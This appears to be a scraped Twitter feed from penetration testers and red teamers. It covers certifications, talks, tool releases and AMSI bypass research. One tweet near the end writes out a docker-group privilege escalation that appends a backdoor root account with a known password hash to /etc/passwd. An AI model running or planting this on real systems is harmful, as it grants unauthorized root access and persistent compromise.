Nick Sanzotta

30 Yrs #Training and #Marketing #consulting works to build great relationships #salestraining #speaker #bassist #travel #entrepreneur

[Nick Sanzotta @Beamr]

@SecurityTube @nikhil_mitt Great course, I highly recommend it.

[Pentester Academy @SecurityTube]

Congratulations to @beamr
for clearing our Certified Red Team Expert exam! #RedTeamLab #CRTE https://t.co/cMbvi0pdP9 cc: @nikhil_mitt

[Nick Sanzotta @Beamr]

@lpha3ch0 I struggle to find that same balance in my life, but on the occasion when I do break away and engage in my other hobbies/passions I find it very therapeutic even if that is an hour or two of gaming.

[Nick Sanzotta @Beamr]

@gentilkiwi Does Kekeo support service substitution in a similar manor to Rubeus with the /altservice: parameter?

[Alberto Solino @agsolino]

Since [MS-RPRN] is getting hot thanks to @tifkin_, @harmj0y and @enigma0x3, I just added the RPC calls to make it easy to use (plus helper functions) in impacket (https://t.co/56fw9kEDPv). Enjoy!

[ටل 🧗 @TheColonial]

Sometimes it's hard to keep your eye on the prize while you're fighting the good fight, especially when others around you look to be "succeeding" in other ways that don't resonate with you.

Don't give up. It's worth sticking with it. Keep working, keep fighting.

[Cn33liz @Cneelis]

Will we see AMSI being hooked into the CLR too, now many powershell hackers shift to csharp? Just a random thought..

[Paul Asadoorian @[email protected] @securityweekly]

One of our illustrious co-hosts, Patrick Laverty, will be co-presenting "Pentesting: Tips, Tricks and Stories" with Aaron Herndon @BSidesCT CT 2019! Ticket sales are open until the day of the show (Saturday, November 3rd) for $20. Go to https://t.co/dR3kmPVDiU to register now!

[Matt Eidelberg @Tyl0us]

Check out my talk, "Vibing Your Way Through an Enterprise How Attackers are Becoming More Sneaky" https://t.co/fFsGqHxAK0 and the framework on Github https://t.co/JbN4dYOs6c.

[Niru Ragupathy / itsc0rg1 🐶 @itsC0rg1]

The Web application security workshop slides for @Blackhoodie_RE are now public - https://t.co/mY4R21H1r2. Kudos to @jmkeads and @matir for their hard work on putting together this material ^_^

[kmkz @kmkz_security]

ScriptBlock based functionnal AMSI bypass PoC tested today on a freshly updated #Windows10 (https://t.co/VWes42Rz6w) | cheatsheet updated https://t.co/0GBpcSjayt | - Thx @S0ftwarGS for #amsi bypass idea + @mattifestation @SpecterOps @harmj0y for researches! #redteam #pentest

[Patrick Laverty 🎱 @plaverty9]

Tip while presenting: Never say "everyone knows", like "everyone knows what this is" or "everyone knows that you do this". Unless it's something like "water is wet", not everyone may know that. Yesterday a presenter said it and I didn't know, so I felt dumb.

[Patrick Laverty 🎱 @plaverty9]

Presenting at an auditor/policy type meeting today. Amazing how much more social these people are than the typical hacker meetups.

[Ishkhan Ahamed @ishkhan888]

wireless hacking - This is automated wireless hacking tool
https://t.co/YJ3HPI5EbU

[Steve Campbell @lpha3ch0]

I just updated my blog post on how to install PowerShell on Kali: https://t.co/gxMdJi48Rw

[Davy Douhine @ddouhine]

Upcoming Microsoft Windows ALPC Task Scheduler Local Privilege Elevation (CVE-2018-8440) exploit in #Metasploit !
Yes the 0day (now patched) found and disclosed by @SandboxEscaper
Thx @tychos_moose Aaron Soto @shellfail and @TheColonial for the hard work. https://t.co/M4wLWBt0hW

[Joe Vest @joevest]

Do you use Cobalt Strike? @andrechiles @001SPARTaN and I created a self documented Malleable C2 profile with the hope that it will enhance your understanding of what you can do with malleable c2. @armitagehacker https://t.co/lBVHUqwWUv via @joevest

[[audible]blink @4lex]

You land on a computer and `id` shows you're part of the `docker` group. Escalate to root with:

$> docker run -it --rm -v $PWD:/mnt bash

adds backdoor toor:password
#> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

[Vincent Yiu @vysecurity]

When you use CobaltStrike more than BurpSuite Pro ☺️. Means easy manual exploit vectors and more shells!